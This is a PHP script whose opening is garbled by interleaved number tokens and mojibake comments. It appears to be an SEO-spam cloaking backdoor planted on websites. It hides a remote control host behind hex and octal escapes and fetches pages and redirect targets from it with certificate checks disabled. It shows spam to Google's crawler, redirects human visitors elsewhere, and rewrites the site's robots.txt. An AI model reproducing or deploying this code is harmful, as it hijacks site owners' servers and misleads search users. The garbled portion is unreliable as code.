1 < 1 ? 1 p 2 hp 1 1 1 e 1 r 2 ro 1 r 1 _ 2 re 1 p 2 or 1 t 1 i 1 n 2 g( 1 0 1 ) 1 ; 1 1 1 $ 1 g 2 et 1 2 = 1 f 1 i 1 l 2 te 1 r 2 _i 1 n 1 p 1 u 2 t_ 1 a 1 r 2 ra 1 y 1 ( 1 I 1 N 1 P 1 U 2 T_ 2 GE 1 T 1 , 1 1 F 1 I 1 L 2 TE 1 R 1 _ 1 S 1 A 1 N 1 I 2 TI 1 Z 2 E_ 1 S 1 T 1 R 1 I 1 N 1 G 4 ); 1 1 1 / 2 * 1 - 18 ------------------------ 1 1 1 4 1 é 1 « 1 ˜ 1 é 1 € 1 Ÿ 1 æ 1 œ 1 ¬ 1 å 1 œ 1 ° 1 ç 1 ¼ 1 “ 1 å 1 ­ 1 ˜ 1 å 1 ‡ 1 ½ 1 æ 1 • 1 ° 1 1 1a ------------------------- 1 * 1 / 1 1 1 f 1 u 1 n 2 ct 1 i 1 o 2 n 1 c 1 a 1 c 2 he 1 _ 3 get 1 ( 1 $ 2 ke 1 y 1 , 2 $ 1 e 1 x 2 pi 1 r 1 e 3 = 2 30 1 0 1 ) 1 1 { 6 1 $ 3 fil 5 e = s 1 y 1 s 5 _get_ 1 t 1 e 2 mp 1 _ 1 d 2 ir 1 ( 1 ) 1 2 . 1 ' 1 / 7 cache_' 3 . 1 m 1 d 1 5 5 ($key 5 ) . ' 1 . 4 php' 1 ; 6 1 i 2 f 1 ( 4 file 2 _e 1 x 1 i 2 st 1 s 1 ( 5 $file 2 ) 1 & 2 & 1 ( 1 t 2 im 1 e 3 () 1 - 5 file 1 m 5 time( 6 $file) 1 ) 1 1 < 8 $expire 9 ) { 4 1 r 2 et 1 u 1 r 1 n 5 file 5 _get_ 1 c 1 o 2 nt 1 e 1 n 9 ts($file) 7 ; 1 } 6 8 return f 2 al 1 s 1 e 3 ; 1 } 12 function cache_s a et($key, $ 1 d 1 a 2 ta 4b ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; 1 @ 5 file_ 4 put_ e contents($file 7 , $data 2 , 1 L 1 O 1 C 1 K 1 _ 1 E 1 X 1 ) 6 ; } 25 /* ------------------------- 1 è 1 Ž 1 · 1 å 1 1 – 1 ç 1 œ 2 Ÿå 1 ® 1 ž 1 è 1 ® 1 ¿ 1 é 1 — 2 ® 1 I 1 P 1 ï 1 ¼ 1 ˆ 1 å 1 … 1 ¼ 1 å 1 ® 1 ¹ 1 1 C 1 D 2 N 1 / 1 1 å 1 1 1 ä 1 » 1 £ 1 ï 1 ¼ 1 ‰ 29 ------------------------- */ function 4 get_ 2 re 1 a 1 l 2 _i 1 p 1 ( a ) { $ 3 key 1 s 3 = 1 [ b ' 1 H 1 T 1 T 1 P 1 _ 1 C 1 F 1 _ 2 CO 1 N 1 N 1 E 1 C 1 T 3 ING 1 _ 2 IP 1 ' 1 , 1 2 // 1 1 C 1 l 2 ou 1 d 1 f 1 l 2 ar 1 e 10 'HTTP_ 1 X 1 _ 1 R 1 E 1 A 1 L 6 _IP', 7 3 // 1 N 1 g 2 in 1 x 12 'HTTP_X_ 1 F 1 O 1 R 1 W 1 A 1 R 1 D 1 E 1 D 4 _FOR 4 ', 4 // P 1 r 1 o 1 x 1 y 11 'HTTP_C 1 L 1 I 1 E 2 NT 5 _IP', b ' 1 R 1 E 1 M 1 O 2 TE 1 _ 1 A 1 D 1 D 1 R 1 ' 6 1 ] 5 ; 4 2 fo 3 rea 1 c 1 h 1 1 ( 6 $keys 1 a 1 s 3 $k d ) { 4 if ( 1 ! 3 emp 1 t 1 y 1 ( 2 $_ 1 S 1 E 1 R 1 V 1 E 1 R 1 [ 1 $ 1 k 1 ] 1 ) d ) { 6 $i 1 p 3 = c $_SERVER[$k] 9 ; c if ( 2 st 1 r 1 p 1 o 4 s($i 1 p 1 , 2 ' 6 ,') != 1 = 6 false 11 ) { a $ip = 1 t 1 r 1 i 2 m( 3 exp 1 l 1 o 2 de 1 ( 3 ',' 1 , 4 $ip 1 ) 1 [ 1 0 1 ] 8 ); 8 1 } 14 if ( 7 filter_ 1 v 1 a 1 r 6 ($ip, 7 FILTER_ 1 V 1 A 1 L 1 I 1 D 1 A 3 TE_ 2 IP 1 ) 15 ) { 7 return 3 $ip 12 ; } f } 11 } return '12 1 7 1 . 1 0 3 .0. 2 1' 2b ; } /* ------------------------- 1 æ 1 › 1 ´ 1 å 1 ¿ 1 « 1 ç 1 š 1 „ 4 get 1 C 2 ur 1 l 1 ( 1 ) 2c ------------------------- */ function get 4 Curl 1 F 1 a 1 s 3 t($ 3 url 5 ) { 7 $ 5 cache 1 d 3 = b cache_get($ 4 url) b ; if ( 8 $cached b !== false) 8 return $ 6 cached 9 ; 5 $data 3 = 2 '' 9 ; 5 if (f 7 unction 8 _exists( 1 ' 1 c 3 url 3 _in 2 it 1 ' e )) { 1 $ 3 ch 3 = c 8 url_init d ($url); 4 5 curl_ 3 set 2 op 8 t_array( 3 $ch 1 , c [ 4 1 C 1 U 1 R 1 L 2 OP 1 T 17bf _RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_USERAGENT => "Mozilla/5.0" ]); $data = curl_exec($ch); curl_close($ch); } if (empty($data) && ini_get('allow_url_fopen')) { $context = stream_context_create([ "http" => ["timeout" => 8, "header" => "User-Agent: Mozilla/5.0\r\n"], "ssl" => ["verify_peer" => false, "verify_peer_name" => false] ]); $data = @file_get_contents($url, false, $context); } if (!empty($data)) cache_set($url, $data); return $data; } /* ------------------------- URL ä¿¡æ¯ ------------------------- */ function get_url_info(string $type='domain'): string { $host = $_SERVER['HTTP_HOST'] ?? ''; if ($type === 'no_www') return preg_replace('/^www\./i', '', $host); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://"; $base = $protocol . $host; if ($type === 'base') return $base; if ($type === 'full') return $base . ($_SERVER['REQUEST_URI'] ?? ''); return $host; } /* ------------------------- 基础å˜é‡ ------------------------- */ goto ONPuB; ONPuB: $http_type = !empty($_SERVER["\x48\124\x54\x50\x53"]) && $_SERVER["\x48\124\124\x50\x53"] !== "\157\x66\146" ? "\150\x74\x74\x70\163\72\x2f\x2f" : "\x68\164\164\160\72\x2f\57"; goto O4O9k; O4O9k: $vurl = "\x74\157\56\152\147\141\x6c\x6c\163\x2e\143\157\x6d\x2f"; goto vgv72; vgv72: $qz = substr(str_replace(array("\x77\x77\167\x2e", "\56"), '', $_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\x54"]), 0, 3); /* ------------------------- è§£æž f 傿•° ------------------------- */ $sz = $iid = ""; if(!empty($_GET)){ $f=reset($_GET); $sp = explode('-', $f); if (count($sp) === 2) { $sz = $sp[0]; $iid = $sp[1]; } } /* ------------------------- è¿œç¨‹æŽ¥å£ ------------------------- */ if (!empty($sz)) { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?sz=" . urlencode($sz)); } else { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}"); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd)); } $hyzhdy = $jd . "41.aspx"; $surl = $jd . "s41.aspx"; /* ------------------------- robots / sitemap ------------------------- */ $sitemapLine = "Sitemap: {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?w=" . date('YmdHi') . "\n"; function ensure_robots_sitemap($sitemapLine) { $robots = rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") . '/robots.txt'; if (!file_exists($robots)) { @file_put_contents($robots, "User-agent: *\nAllow: /\n" . $sitemapLine, LOCK_EX); } else { $c = @file_get_contents($robots); if ($c === false || strpos($c, $sitemapLine) === false) { @file_put_contents($robots, $sitemapLine, FILE_APPEND | LOCK_EX); } } } /* ------------------------- w= 输出 ------------------------- */ if (!empty($get['w'])) { $params = http_build_query([ 'NOUmber' => $get['NOUmber'] ?? '', 't' => $get['t'] ?? '', 'cn' => $get['cn'] ?? '', 'pNOUm' => $get['pNOUm'] ?? '', 'cid' => $get['cid'] ?? '', 'm' => $get['m'] ?? '' ]); $str = getCurlFast("{$surl}?{$params}"); echo str_replace( ['yymm','ggggg','?f='], [$http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'], $sz,'?'.$qz.'='], $str ); exit; } /* ------------------------- IP 判定(ä¿ç•™ kk 测试) ------------------------- */ $kk = isset($get['kk']) ? trim($get['kk']) : ''; $ip = ($kk !== '') ? "66.249.82.8" : get_real_ip(); /* ------------------------- getdomain2 判断 ------------------------- */ $domain = trim(getCurlFast($jd . "getdomain2.aspx?rnd=1&ip=" . $ip)); /* ------------------------- éž google + iid → 跳转 ------------------------- */ if ($domain !== 'google' && !empty($iid)) { $kname = urldecode(getCurlFast($jd . "gn.aspx?iid=" . $iid)); echo ''; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($iid)) { $str = getCurlFast($hyzhdy . "?iid={$iid}"); echo str_replace( ['ggggg','YYYYY','XXXYYY','当å‰URL','UUUUU','MMMMM','?f='], [$sz, get_url_info(), get_url_info('base'), get_url_info('full'), get_url_info('no_www'),parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH),'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap helper ------------------------- */ function output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo "
Sitemap
"; exit; } /* ------------------------- kk 输出控制 ------------------------- */ if ($kk !== '' && preg_match('/^[A-Za-z0-9]+$/', $kk)) { $remote = getCurlFast($jd . "getdomain2.aspx?rnd=2&kk=" . $kk); if (!empty($remote)) { echo $remote; exit; } } if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } $is_no_query = empty($_SERVER['QUERY_STRING']); if ($kk === '' && $is_no_query) { if ($domain === 'google') { output_sitemap_and_exit($sitemapLine, $http_type); } else { exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ?> 0